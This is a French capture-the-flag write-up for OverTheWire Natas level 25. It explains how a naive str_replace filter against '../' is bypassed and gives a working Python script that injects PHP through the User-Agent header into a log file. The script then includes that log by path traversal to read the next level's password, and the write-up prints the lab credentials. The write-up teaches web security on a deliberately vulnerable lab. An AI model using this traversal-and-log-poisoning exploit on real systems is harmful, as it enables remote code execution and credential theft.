Niveau 25

Natas 25

Level Goal

Username: natas25
Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c
URL: http://natas25.natas.labs.overthewire.org

En se connectant à la page du challenge 25 (curl http://natas25.natas.labs.overthewire.org -u natas25:GHF6X7YwACaYYssHVY05cFq83hRktl4c) on arrive sur une page avec une citation du film Bad Boy Bubby qui peut être affichée dans plusieurs langue. Le code source de cette page est le suivant :

<?php
    // cheers and <3 to malvina
    // - morla

    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }
    
    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }
    
    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;
        
        closedir($handle);
        return $listoffiles;
    } 
    
    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
?>

[...]

<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>

[...]

<?php  
    session_start();
    setLanguage();
    
    echo "<h2>$__GREETING</h2>";
    echo "<p align=\"justify\">$__MSG";
    echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>

Trois fonctions sont intéressantes :

La fonction listFiles() n'est elle par contre malheureusement pas exploitable.

Directory transversal

Pour faciliter la résolution de ce problème il est important de noter que l'utilisation de str_replace() n'est jamais une bonne idée pour sécuriser le contenu d'une variable.

En effet, il est possible d'anticiper le fait que certaines suites de caractères seront supprimées. Ainsi, si l'on a :

str_replace("../", "", $filename")

Alors si $filename a la valeur ..././ le résultat de str_replace() sera ../ (str_replace() ne remplaçant que les occurences d'origine).

Vérifions ce point via la commande curl suivante :

curl --form lang='..././index.php' \
     http://natas25.natas.labs.overthewire.org -u natas25:GHF6X7YwACaYYssHVY05cFq83hRktl4c

Comme attendu on obtient une erreur lié à la redéclaration d'une variable (la page index.php cherchant à s'inclure elle même, redéclarant ses fonctions et variables).

Filtre de comparaison

On sait que le fichier dont on veut lire le contenu est /etc/natas_webpass/natas26 mais que pour pouvoir l'ouvrir il faut que la ligne strstr($filename,"natas_webpass") ne détecte pas la chaîne de caractère natas_webpass dans la variable lang que l'on envoie, ce qui n'est pas possible

À noter que si la fonction str_replace() de l'étape précédente était appelée après la fonction strstr(), on aurait pû exploiter cela en requêtant le fichier ..././..././..././etc/natas_web../pass/natas26, qui aurait passé les deux filtres sans broncher

Log poisoning

Sachant que l'on peut ouvrir n'importe quel fichier sur le serveur qui ne contiennent pas natas_webpass dans son chemin grâce à l'attaque de directory transversal, une solution est d'utiliser le fait que la fonction logRequest() enregistre sans le filtrer le HTTP_USER_AGENT qu'on lui donne.

Cela laisse la porte ouverte à une faille de log poisoning qui consiste à écrire volontairement du code malveillant dans les fichiers de log. Cela peut être utile dans 2 scénarios :

Dans notre cas c'est le premier scénario qui nous intéresse. Essayons d'effectuer une requête avec un user-agent contenant du code php, puis utilisons le cookie de session pour trouver le fichier de log contenant le résultat et enfin ouvrons le via la faille de directory transversal.

import requests


response = requests.post(
    "http://natas25.natas.labs.overthewire.org",
    params={"lang": "natas_webpass"},
    headers={
        "User-Agent": "<?php echo file_get_contents('/etc/natas_webpass/natas26'); ?>"
    },
    auth=requests.auth.HTTPBasicAuth("natas25", "GHF6X7YwACaYYssHVY05cFq83hRktl4c"),
)

session = response.cookies.get_dict()["PHPSESSID"]
log_file = f"/var/www/natas/natas25/logs/natas25_{session}.log"
exploit = f"..././..././..././..././..././{log_file}"

response = requests.post(
    "http://natas25.natas.labs.overthewire.org",
    params={"lang": exploit},
    auth=requests.auth.HTTPBasicAuth("natas25", "GHF6X7YwACaYYssHVY05cFq83hRktl4c"),
)

print(response.text)

Dans la réponse du serveur on trouve le mot de passe de la prochaine épreuve : oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T